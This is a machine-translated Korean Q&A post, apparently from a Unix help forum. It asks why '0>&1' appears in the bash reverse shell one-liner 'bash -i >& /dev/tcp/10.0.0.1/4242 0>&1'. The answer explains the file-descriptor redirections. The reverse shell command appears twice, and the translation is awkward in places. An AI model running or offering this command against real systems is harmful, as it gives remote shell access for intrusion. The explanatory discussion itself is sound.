왜 "0>&1"이 있나요?

왜 "0>&1"이 있나요?

아직도 이 명령이 어떻게 작동하는지 알아내려고 노력 중인가요?

bash -i >& /dev/tcp/10.0.0.1/4242 0>&1

0>&1나는 이것이 STDIN이 연결을 통해 전송된다는 것을 의미하지만 STDIN이 이미 연결을 통해 전송되어서는 안 된다는 것을 발견했습니다 . >&이는 "모든 것을 다음으로 전송 /dev/tcp/HOST/PORT"을 의미하기 때문입니다.

답변1

이 명령은 효과가 없습니다. 적어도 그것은 "일"에 대한 비자선적 정의에 있어서는 사실입니다.

셸은 실행된 터미널에 여전히 연결되어 있으며 백그라운드에서 명령을 실행하는 등의 작업 제어는 효과가 없습니다 Control-C. Control-Z또한 백그라운드에서 스니펫 자체를 실행할 수도 없습니다 &.

2021년에 일반 사용자로서 1024 이상의 모든 포트에서 SSH 서버를 쉽게 실행할 수 있는데 왜 암호화되지 않은 연결에서 셸을 실행합니까?

이 영상이 왜 계속 나오는지 모르겠네요(아마 15번째나 17번째 본 것 같습니다) - 아마도 누군가가정말 성공이네요그의 블로그를 홍보하세요 ;-)

bash -i >& /dev/tcp/10.0.0.1/4242 0>&1

>&"모든 것을 보내다 /dev/tcp/HOST/PORT" 라는 뜻

아니요, 그런 뜻이 아닙니다. Bash에서는 "HOST 및 PORT에 대한 TCP 연결을 열고 dup2(2)연결된 소켓을 파일 설명자 1(stdout) 및 2(stderr)에 연결합니다."를 의미합니다. 그런 다음 " 파일 설명자 1(stdout)을 파일 설명자 0(stdin)에 연결합니다."를 0>&1의미합니다 . dup2(2).

리디렉션이 왼쪽에서 오른쪽으로 발생하므로 bash -iHOST 및 PORT에 연결된 소켓은 stdin, stdout 및 stderr로 실행됩니다.

관련 정보